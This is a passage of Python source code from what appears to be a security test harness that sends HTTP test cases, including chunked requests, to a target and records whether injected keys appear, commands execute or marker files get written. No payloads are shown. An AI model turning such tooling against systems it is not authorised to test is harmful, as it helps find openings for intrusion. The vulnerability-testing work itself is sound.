    if case.get("chunked"):
        obs = chunked_request(target, path, body, headers, token, expected)
    else:
        obs = observe(
            target,
            method=http_method,
            path=path,
            body=body if http_method in ("POST", "PUT", "PATCH") else None,
            headers=headers,
            expected_keys=expected,
            token=token,
        )

    inj_key = "%s_%s" % (INJ_PREFIX, token)
    result = {
        "case": case["name"],
        "http_method": http_method,
        "path": path,
        "status": obs["status"],
        "error": obs["error"],
        "response_parses": obs["parsed"] is not None or obs["status"] in (403, 404, 405, 413),
        "parse_error": obs["parse_error"],
        "injected_keys": obs["injected_keys"],
        "injected_key_present": inj_key in obs["injected_keys"],
        "executed": executed(obs),
        "marker_written": obs["marker"],
        "command_log_hit": obs["log_hit"],
        "body_excerpt": obs["body_excerpt"],
    }
    if obs.get("marker_content"):
        result["marker_content"] = obs["marker_content"]
    return result


def chunked_request(target, path, body, headers, token, expected):
    """Send a chunked request, which carries no Content-Length."""
    u = urlparse(target)
    host = u.hostname or "127.0.0.1"
Showing 500 of 900 lines View full file on GitHub →